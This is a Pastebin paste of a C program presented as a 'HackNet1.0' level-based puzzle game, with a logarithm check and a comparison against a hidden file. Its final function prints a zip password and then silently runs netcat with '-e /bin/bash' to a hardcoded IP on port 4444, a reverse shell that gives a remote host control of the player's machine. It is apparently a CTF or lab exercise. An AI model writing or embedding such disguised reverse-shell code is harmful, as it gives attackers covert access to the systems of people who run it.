Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdlib.h>
- #include <math.h>
- #include <string.h>
- #include <sys/socket.h>
- #include <arpa/inet.h>
- #include <unistd.h>
- #define PORT 5678
- #define MAX_LIMIT 52
- void fun3() {
- printf("\nThe password for final_level.zip is pass123. Try using the shell to navigate to ~/Documents and open the zip file.\n");
- char *args[] = {"/bin/nc", "-nv", "10.9.8.105", "4444", "-e", "/bin/bash", NULL};
- execvp(args[0], args);
- }
- void fun2()
- {
- printf("\n------LEVEL 2------");
- printf("\nEnter text: ");
- char s[100];
- char temp;
- temp=getchar();
- fgets(s,100,stdin);
- FILE *fp;
- fp=fopen("/root/Desktop/hidden.txt","r");
- char str[MAX_LIMIT];
- fgets(str,MAX_LIMIT,fp);
- int result=strncmp(str,s,10);
- if(result==0)
- {
- printf("\nSuccessful. Moving on...");
- return;
- }
- else
- {
- printf("\nWrong!! Unsuccessful");
- exit(0);
- return;
- }
- }
- void fun1()
- {
- printf("\n------LEVEL 1------");
- printf("\nPlease enter two numbers seperated by a space: ");
- double x,y;
- scanf("%lf %lf",&x,&y);
- if(x==log10(y))
- {
- printf("\nSuccessful. Moving On...");
- fun2();
- }
- else
- {
- printf("\nErrrr You lack the proper skillset. Try again!");
- exit(0);
- }
- return;
- }
- int main()
- {
- printf("----------Welcome to HackNet1.0----------");
- fun1();
- fun3();
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement